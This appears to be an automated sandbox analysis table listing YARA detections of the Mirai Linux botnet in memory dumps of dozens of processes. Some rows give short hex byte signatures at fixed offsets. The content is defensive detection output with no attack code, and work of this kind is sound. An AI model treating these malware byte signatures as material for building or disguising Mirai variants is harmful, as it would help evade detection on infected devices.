7372.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7372.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7372.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6615.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6615.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6615.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6615.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6615.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6615.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7337.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7075.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7075.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7075.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7075.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7075.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7075.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7216.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7216.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7216.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7216.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7216.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7216.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6347.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6347.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6347.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6347.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6347.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6347.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7144.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7144.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7144.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7144.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7144.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7144.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7239.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7239.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7239.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7239.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7239.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7239.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6468.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6468.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6468.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6468.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6468.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6468.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7265.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7265.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7265.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7265.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7265.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7265.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6499.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6499.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6499.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6499.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6499.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6499.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7397.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7397.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7397.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7397.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7397.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7397.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6446.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6446.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6446.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6446.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6446.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6446.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7099.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6344.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6344.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6344.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6344.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6344.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6344.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6434.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6434.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6434.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6434.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6434.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6434.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7412.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7412.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7412.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7412.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7412.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7412.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6377.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6377.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6377.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6377.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6377.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6377.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6982.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6982.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6982.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6982.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6982.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6982.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7137.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7137.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7137.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7137.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7137.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7137.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6633.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6633.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6633.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6633.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6633.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6633.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6706.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6706.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6706.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6706.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6706.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6706.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7166.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7166.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7166.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7166.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7166.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7166.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7285.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7285.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7285.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7285.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7285.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7285.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6686.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6686.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6686.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6686.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6686.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6686.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7349.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7349.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7349.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6742.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6742.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6742.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6742.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6742.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6742.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7349.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7349.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7349.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7423.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7423.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7423.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7423.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7423.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7423.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6777.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6777.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6777.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7303.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6777.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6777.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6777.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7303.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7303.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7303.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7303.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7303.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6534.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6534.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
